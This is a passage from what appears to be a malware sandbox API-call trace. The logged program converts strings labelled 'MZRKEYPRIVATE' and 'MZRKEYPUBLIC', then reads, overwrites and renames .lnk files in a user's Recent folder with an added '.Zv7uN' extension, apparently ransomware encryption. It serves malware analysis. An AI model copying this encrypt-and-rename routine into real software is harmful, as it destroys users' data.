BcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.470] GetCurrentThreadId () returned 0xa30 [0084.470] GetCurrentThreadId () returned 0xa30 [0084.470] GetCurrentThreadId () returned 0xa30 [0084.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.471] GetCurrentThreadId () returned 0xa30 [0084.471] GetCurrentThreadId () returned 0xa30 [0084.471] GetCurrentThreadId () returned 0xa30 [0084.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vUCHxYZhOfXC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vuchxyzhofxc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.471] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.472] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.472] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1a4f [0084.472] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.472] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1a4f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1a4f, lpOverlapped=0x0) returned 1 [0084.474] CloseHandle (hObject=0x124) returned 1 [0084.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vUCHxYZhOfXC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vuchxyzhofxc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.476] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1a4f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1a4f, lpOverlapped=0x0) returned 1 [0084.479] CloseHandle (hObject=0x124) returned 1 [0084.480] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vUCHxYZhOfXC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vuchxyzhofxc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vUCHxYZhOfXC.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vuchxyzhofxc.lnk.zv7un")) returned 1 [0084.482] GetCurrentThreadId () returned 0xa30 [0084.482] GetCurrentThreadId () returned 0xa30 [0084.482] GetCurrentThreadId () returned 0xa30 [0084.482] GetCurrentThreadId () returned 0xa30 [0084.482] GetCurrentThreadId () returned 0xa30 [0084.483] GetCurrentThreadId () returned 0xa30 [0084.483] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f797e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f797e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f797e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20f9, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="vvHLRrn4vyqF-1i1p.lnk", cAlternateFileName="VVHLRR~1.LNK")) returned 1 [0084.483] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.483] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vvHLRrn4vyqF-1i1p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vvhlrrn4vyqf-1i1p.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f797e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f797e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f797e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20f9)) returned 1 [0084.483] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vvHLRrn4vyqF-1i1p.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vvhlrrn4vyqf-1i1p.lnk")) returned 0x20 [0084.483] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vvHLRrn4vyqF-1i1p.lnk", dwFileAttributes=0x80) returned 1 [0084.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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